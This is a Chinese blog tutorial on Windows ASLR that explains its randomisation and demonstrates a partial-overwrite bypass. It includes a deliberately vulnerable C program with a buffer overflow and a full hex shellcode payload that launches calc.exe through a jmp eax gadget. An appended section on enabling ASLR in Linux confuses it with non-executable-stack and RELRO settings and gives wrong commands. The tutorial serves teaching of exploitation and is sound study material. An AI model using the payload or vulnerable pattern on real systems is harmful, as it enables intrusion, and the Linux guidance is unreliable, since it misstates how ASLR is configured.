Windows下的ASLR保护机制详解及其绕过

写在前面:

本篇博客为本人原创,但非首发,首发在先知社区
原文链接:

https://xz.aliyun.com/t/13924?time__1311=mqmxnQ0%3DqGwx2DBqDTlpzeG%3DKT8qQTID&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F74789

各位师傅有兴趣的话也可以去先知社区个人主页逛逛(个人昵称:Shad0w_2023)。
我们前面已经详细介绍过GS,SafeSEH,和DEP保护机制,大家想一想,如果没有开启任何保护,如果程序存在漏洞我们是不是很容易攻击成功?就算开了前面已经介绍过的保护,我们也有很容易的方法突破这些保护,进而完成攻击。
那么我们再次站在开发者的角度,我们如何制定一种保护机制,从而让攻击很难完成呢?站在开发者的角度,相信我们能够更容易了解到ASLR保护机制,我们接下来就来看看ASLR:

一.ASLR保护机制详解

攻击者在攻击的时候,是瞄准了进程内的一个地址(shellcode起始地址或者是跳板地址),从而进行攻击的,那我们有没有办法让攻击者的这个地址无效呢?
我们知道在进程加载的时候,有自己的虚拟内存空间,首先将自己的PE文件加载入内存,然后加载所需模块的PE,而这些地址都是固定的,从而让攻击者瞄准了去攻击,所谓惹不起我们还躲不起吗?我们想办法,让这些地址在加载的时候随机化,是不是就可以让攻击者的地址无效了呢?
实际上ASLR保护机制也就是这样做的:我们知道在PE文件中有一个ImageBase字段,标识了程序加载基址,exe通常都是一个进程加载的第一个文件,所以通常不需要重定位,而DLL需要重定位。我们开启了ASLR保护机制之后,实际上就是ImageBase随机化了。
实际上,ASLR保护机制在Windows XP版本的时候就已经出现了,但是那时候只是对PEB和TEB做了简单的随机化处理,并没有对模块的加载基址随机化。
与SafeSEH类似,ASLR的实现也需要操作系统和应用程序的双重支持,而其中,应用程序的支持不是必须的。
我们来看看PE文件结构:
PE文件结构
我们可以看到在程序拓展头里面有一个字段:IMAGE_DLL_CHARACTERISTICS_SYNAMIC_BASE,这个字段就标识了其是否支持ASLR。
实际上,ASLR是对很多地方都做了随机化,我们来详细看看:

  1. 映像基址随机化:
    当PE文件映射到内存的时候,对其加载的虚拟地址进行随机化处理,注意这个地址实在系统启动时确定的,在重启系统后,这个地址就会变化。
    在前面的介绍中,我们都知道为了兼容性而牺牲了很多安全性,让攻击者有了可乘之机,而对于ASLR保护机制,出于兼容性考虑,也是做了一些操作:
    在注册表中,可以设定映像随机化的工作模式:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImage,在这个注册表项下可以设置,当设置为0时,映像随机化将被禁用、设置为-1时,可以强制对可随机化的映像进行处理,无论是否设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识、设置为其他值时,标识映像基址随机化正常工作。
    通常情况下,我们使用的计算机是没有MoveImage表项的,大家可以手动建立一个名称为MoveImage的表项,类型为DWORD:
    在这里插入图片描述

  2. 堆栈随机化
    前面文章介绍过的绕过保护的方式,我们可以将shellcode写道堆栈上,然后劫持程序执行流,让其去执行ShellCode,ASLR保护基址将堆栈地址也做了随机化,这样攻击者的目标地址就会变成了无效地址。与映像基址随机化不同的是,堆栈随机化是在程序启动的时候确定的,也就是说,在任何两次启动一个进程的时候,堆栈地址都不相同。

  3. PEB与TEB随机化
    前面我们说过了,PEB与TEB的随机化在Windows XP版本的时候就已经提出来了,在没有保护之前,PEB和TEB的地址都是固定的,这样让攻击者很容易在堆溢出中利用PEB和TEB中保存的函数指针进行攻击,而在开启了保护后,PEB与TEB的保存地址也做到了随机化。

二.ASLR保护机制绕过方式分析

我们前面已经详细介绍过了ASLR保护机制,大家对于绕过ASLR机制有没有什么思路?这里我来讲讲我了解到的思路:

  1. 我们知道在进程启动的时候,会对映像机制随机化,那么,如果说,一个应用程序中用到的DLL没有开启随机化呢?答案是:这个DLL的加载地址固定,那么,我们就可以利用这个模块中的地址来进行攻击,而这个模块,还真的找起来很容易,比如我们通常会使用的Adobe Flash Player ActiveX。
  2. 我们知道在应用程序启动的时候,会对加载地址做随机化,那么我们就来写一个程序,来看看对地址的随机化到底做到了什么程度:
    在这里插入图片描述
    在这里将运行时基本检查设置为默认值,关闭GS保护:在这里插入图片描述
    在这里关闭DEP,开启ASLR:
    在这里插入图片描述然后我们编写一段非常简单的程序,我们来看看堆栈随机化具体情况:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>

void test() {
	char szBuffer[20]{ 0 };
	scanf("%s", szBuffer);
	printf("%s", szBuffer);
}

int main() {

	printf("Hello ASLR!!!");

	return 0;
}

然后我们启动程序,来到内存布局看看程序的加载地址:
在这里插入图片描述
可以看到,这里的加载地址为0x00FC0000,然后我们再次启动程序,来看看加载地址:
在这里插入图片描述
大家可以将计算机重启,这样程序加载基址就会变化,大家多试几次,就可以发现一个问题:映像基址只有前两个字节会随机化,比如说,我们启动应用程序,一个指令的地址为0x12345678,如果程序映像基址随机化,它只会随机前两个字节,就是说,最后的5678不会变,只有前面的1234会变化,那么既然是这样,那我们在覆盖的时候,只需要覆盖最后的两个字节就可以了,前面的两个字节操作系统已经帮我们填好了,这样的话,我们利用漏洞函数,就可以劫持程序流程,让其跳转到地址范围为0x123400000x123400FF的地址范围执行了,很明显,在这中保护机制下,我们的可控范围变小了。

三.ASLR的绕过方式

我们已经分析过了这种保护机制下的绕过方式,这里我们就来看看具体的绕过操作:

1.攻击未启用ASLR保护机制的模块

这种绕过方式,实际上不算是正面绕过ASLR,因为我们的跳板指令根本就没有开启ASLR保护,我们可以利用覆盖返回地址等等很多方式去绕过,这里不再赘述了。

2.利用部分地址覆盖绕过ASLR

前面分析过,映像机制随机化的时候只会将前两个字节随机化,那么我们可以将后两个字节随机化,这样就还是可以劫持程序执行流程。
我们来编写一个含有漏洞应用程序:

#include <stdio.h>
#include <Windows.h>

char ShellCode[202];

void test(char *szBuffer) {
	char str[196]{ 0 };
	memcpy(str, szBuffer, 202);
}

int main() {
	memset(ShellCode, 0, 202);
	HANDLE hFile = CreateFileA(
		"G:\\漏洞原理\\ASLR\\Debug\\111.txt",
		GENERIC_READ,
		NULL, NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL, NULL
	);
	DWORD dwReadSize = 0;
	ReadFile(hFile, ShellCode, 202, &dwReadSize, NULL);
	test(ShellCode);

	return 0;
}

可以看到这里的test函数存在明显的溢出,我们先将111.txt设置为200个\x90,来分析一下程序:
test函数:
在这里插入图片描述
堆栈情况:
在这里插入图片描述
由于我们没有开启GS,超过200字节后将直接覆盖返回地址,现在我们知道返回地址的前两个字节(0029)将会随机化,但是后面的两个字节是固定的,现在我们只要将我们ShellCode地址的后两字节用来覆盖返回地址即可执行ShellCode:
str起始地址:
在这里插入图片描述
现在我们将Payload这样布置:

ShellCode\x90填充2字节覆盖地址

现在我们要如何跳转到ShellCode开始执行呢?观察寄存器,发现进行内存复制后,eax指向str,也就是我们的ShellCode地址,我们只需要一个call eax或者jmp eax就可以执行我们的ShellCode了,我们来搜索一下gadgets:
在这里插入图片描述
这里我们只能使用第一个,因为前两个字节是随机的,我们无法控制,这里将返回地址后两个字节覆盖为23E5后,正好可以指向这个跳板。

Payload:

//------------------------------------------------------------
//-----------       Created with 010 Editor        -----------
//------         www.sweetscape.com/010editor/          ------
//
// File    : G:\漏洞原理\ASLR\Debug\111.txt
// Address : 0 (0x0)
// Size    : 206 (0xCE)
//------------------------------------------------------------
unsigned char hexData[206] = {
    0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
    0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
    0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
    0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
    0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D,
    0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
    0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78,
    0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
    0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
    0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
    0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75,
    0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
    0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
    0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
    0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
    0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D,
    0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
    0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF,
    0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
    0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
    0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
    0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5,
    0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
    0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0xE5, 0x23 
};

然后我们再来启动程序,可以看到成功跳转到ShellCode进行执行:
在这里插入图片描述
在这里插入图片描述

  • 9
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ASLR(Address Space Layout Randomization)是一种安全机制,可以通过随机化进程的内存布局来减少针对特定内存地址的攻击。在 Linux 系统中,ASLR 是通过内核参数和运行时链接器来实现的。 要启用 ASLR,需要执行以下步骤: 1. 确认系统内核版本是否支持 ASLR,并检查内核参数是否已启用 ASLR。可以通过执行以下命令来检查: ``` $ sysctl kernel.randomize_va_space ``` 如果输出为 `kernel.randomize_va_space = 2`,则表示已启用 ASLR;如果输出为 `kernel.randomize_va_space = 0`,则表示未启用 ASLR。 2. 如果 ASLR 未启用,则需要编辑 `/etc/sysctl.conf` 文件并添加以下行: ``` kernel.randomize_va_space=2 ``` 保存文件并执行以下命令以使更改生效: ``` $ sysctl -p ``` 3. 确认系统中的所有可执行文件都已启用 ASLR。可以通过执行以下命令来检查: ``` $ readelf -l /path/to/executable | grep "GNU_STACK" ``` 如果输出中包含 `GNU_STACK` 并且 `RWE` 标志已设置,则表示该文件已启用 ASLR。 如果输出中没有 `GNU_STACK` 标志,则需要重新编译该文件并添加 `-Wl,-z,relro,-z,now` 选项来启用 ASLR。 如果输出中的 `GNU_STACK` 标志未设置为 `RWE`,则需要使用 `execstack` 命令来设置该标志: ``` $ execstack -c /path/to/executable ``` 然后再次运行 `readelf` 命令来确认 `GNU_STACK` 标志已设置为 `RWE`。 重复以上步骤,确保系统中的所有可执行文件都已启用 ASLR

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shad0w-2023

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值